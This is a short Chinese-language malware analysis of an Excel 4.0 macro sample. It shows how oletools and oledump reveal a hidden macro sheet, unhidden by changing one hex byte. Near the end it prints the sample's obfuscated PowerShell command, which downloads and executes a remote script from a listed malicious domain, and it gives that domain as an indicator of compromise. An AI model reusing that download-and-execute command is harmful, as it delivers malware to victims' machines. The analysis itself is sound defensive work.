概述

Excel宏4.0并设置了隐藏,本文描述如何找到宏代码。

样本分析

表 2‑1 样本信息1

文件名 Dokumentation.xls
MD5 65cdfc2467f09a971b398b97aad487a6
时间戳 2020-05-13 13:37
文件大小 196 KB (201,216 字节)
是否加壳
数字签名
VT检出率 39/ 60

找出宏代码过程

使用oletools的mraptor.py进行判断,查看样本是否属于“恶意范围”。初步判断文档是可疑的。

再使用olevid.py查看可以信息。可以看到VBA Macros这一项显示是不包含VBA宏的。

再使用olevba测试。可以发现单元“Macro1”隐藏了,并且再A9592单元格包含powershell命令代码。

在excel右键是无法取消隐藏,所以可以通过更改十六进制数值取消隐藏。接下来看一下这个excel的单元结构。使用oledump的插件plugin_biff.py。先看一下插件参数。

接下来使用-x参数查看execel4.0宏相关。命令如下

Python2 oledump.py -p plugin_biff.py –pluginoptions “-x” “C:\Users\51257\Desktop\宏4.0练习\Dokumentation.xls”.

可以大致看到宏命令。

为了要在excel里找到宏命令,必须得更改文件数据,取消隐藏。命令是

Python2 oledump.py -p plugin_biff.py –pluginoptions “-o BOUNDSHEET -a” “C:\Users\51257\Desktop\宏4.0练习\Dokumentation.xls”.

可以看出单元“Macro1”部分十六进制是51AA020001,这个01就是隐藏,02是深度隐藏。所以使用winhex将其改成51AA020000。

另存为之后再次打开就可以发现了“Macro1”这个单元表。样本做了防御规避,为工作表进行了密码保护。宏代码命名如下。

p://putin-malwrhunterteams.com/scan.txt’);exit

=EXEC(“powershell -command  ” & “IEX (new`-OB`jeCT(‘Net.WebClient’)).’DoWnloAdsTrInG'(‘ht’+’t” & A9588)

IoCs

Domain putin-malwrhunterteams.com
URL putin-malwrhunterteams.com/scan.txt